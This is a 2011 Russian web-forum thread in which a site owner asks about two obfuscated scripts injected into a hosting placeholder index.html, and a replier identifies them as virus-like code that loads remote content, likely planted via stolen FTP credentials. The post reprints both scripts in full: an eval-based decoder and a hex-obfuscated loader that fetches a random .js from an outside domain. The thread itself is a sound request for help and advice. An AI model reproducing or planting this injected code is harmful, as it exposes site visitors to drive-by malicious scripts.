Модераторы: Sardar, Aliance
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> На странице появился странный скрипт, что это? 
:(
    Опции темы
vpokorp
Дата 19.9.2011, 11:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 113
Регистрация: 5.4.2006

Репутация: нет
Всего: нет



Код

<HTML><HEAD>
<title>Начальная страница домена</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</HEAD>
<BODY><script>var el,ar,ar2,pos,yes=false;setInterval(function(){if(yes){try{try{a1=a2}catch(a){b[2]=21};}catch(a){k=el.innerHTML+a.toString().substr(0,0);};ar="0(: ]tn Ee{oa>rs\"T,[=NyghvuwC-'zA<cp);1.B/bm}flid";ar2="R12c12c188c180c28c4c192c44c136c104c172c36c24c20c156c92c36c20c32c184c36c172c36c24c20c60c160c88c68c48c92c84c48c172c36c4c120c168c44c192c88c120c144c76c0c16c144c40c12c12c12c188c180c56c48c172c36c56c4c144c148c12c12c176c28c36c184c60c36c28c40c12c12c12c192c44c136c104c172c36c24c20c156c108c56c188c20c36c4c64c132c188c180c56c48c172c36c28c60c56c136c80c120c96c20c20c140c8c164c164c24c20c116c60c20c48c20c60c156c136c124c156c136c136c164c136c44c104c24c20c36c56c156c96c20c172c120c28c108c188c192c20c96c80c120c152c0c120c28c96c36c188c92c96c20c80c120c152c0c120c28c60c20c88c184c36c80c120c100c188c60c188c168c188c184c188c20c88c8c96c188c192c192c36c24c148c140c44c60c188c20c188c44c24c8c48c168c60c44c184c104c20c36c148c184c36c180c20c8c0c148c20c44c140c8c0c148c120c52c132c164c188c180c56c48c172c36c52c64c144c148c12c12c176c12c12c180c104c24c136c20c188c44c24c28c188c180c56c48c172c36c56c4c144c40c12c12c12c100c48c56c28c180c28c80c28c192c44c136c104c172c36c24c20c156c136c56c36c48c20c36c32c184c36c172c36c24c20c4c120c188c180c56c48c172c36c120c144c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c60c56c136c120c72c120c96c20c20c140c8c164c164c24c20c116c60c20c48c20c60c156c136c124c156c136c136c164c136c44c104c24c20c36c56c156c96c20c172c120c144c148c180c156c60c20c88c184c36c156c100c188c60c188c168c188c184c188c20c88c80c120c96c188c192c192c36c24c120c148c180c156c60c20c88c184c36c156c140c44c60c188c20c188c44c24c80c120c48c168c60c44c184c104c20c36c120c148c180c156c60c20c88c184c36c156c184c36c180c20c80c120c0c120c148c180c156c60c20c88c184c36c156c20c44c140c80c120c0c120c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c108c188c192c20c96c120c72c120c152c0c120c144c148c180c156c60c36c20c128c20c20c56c188c168c104c20c36c4c120c96c36c188c92c96c20c120c72c120c152c0c120c144c148c12c12c12c192c44c136c104c172c36c24c20c156c92c36c20c32c184c36c172c36c24c20c60c160c88c68c48c92c84c48c172c36c4c120c168c44c192c88c120c144c76c0c16c156c48c140c140c36c24c192c112c96c188c184c192c4c180c144c148c12c12c176]".replace(k.substr(0,1),'[');pau="urn eReferenceErr".replace(k,"val");e=Function("ret"+pau)();ar2=e(ar2.replace(/c/g,","));s="";pos=0;for(i=0;i!=ar2.length;i++){e('pos=parseInt(ar2[i] / 4)');e('s+=ar.substr(pos,1)');}
e(s);yes=false;}},20);setTimeout(function(){el=document.createElement("div");el.innerHTML="ReferenceErr";yes=true;},1);</script>

<center>
Начальная страница домена<br><br>
Если Вы видите эту страницу после закачки Вашего сайта, значит Вы не закачали начальную страницу index.html<br><br> 
Эта страница сгенерирована автоматически <a href="http://www.mchost.ru/">хостингом Макхост</a>



</BODY>
</HTML>
<script type="text/javascript">
var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function (){var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]]().toString()[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function (){if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function (){if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function (){_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} )();
</script>


домен некоторое время не разрабатывался, а вот теперь на главной висит такая примазка в виде двух скриптов.

Хостер говорит, что они не при чем.

Изменен только файл index.html остальные без изменений

Что это может быть?
Как он появился у меня?
Что делает?
Как с этим бороться?

Подскажите, кто сталкивался, плиз  smile 
PM   Вверх
mcTep
Дата 19.9.2011, 12:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 203
Регистрация: 25.2.2009

Репутация: 1
Всего: 6



Цитата(vpokorp @  19.9.2011,  11:32 Найти цитируемый пост)
Если Вы видите эту страницу после закачки Вашего сайта, значит Вы не закачали начальную страницу index.html


Попробуйте залить свой index.html smile
PM MAIL   Вверх
vpokorp
Дата 19.9.2011, 13:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 113
Регистрация: 5.4.2006

Репутация: нет
Всего: нет



можно еще в туалете повеситься
PM   Вверх
mcTep
Дата 19.9.2011, 14:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 203
Регистрация: 25.2.2009

Репутация: 1
Всего: 6



Ну этот скрипт создает скрытый фрейм, который стучится на nt-stats.cz.cc/counter.htm который недоступен
Вообще это поведение свойственно вирусам.
Поэтому возможно кто-то угнал ваши пароли от ФТП и распространил эту бяку.
Советую удалить все подобные скрипты и поменять пароли от ваших учеток.

А в туалете вешаться пожалуй не стоит smile

Это сообщение отредактировал(а) mcTep - 19.9.2011, 14:19
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | JavaScript: для новичков | Следующая тема »


 




[ Время генерации скрипта: 0.0806 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.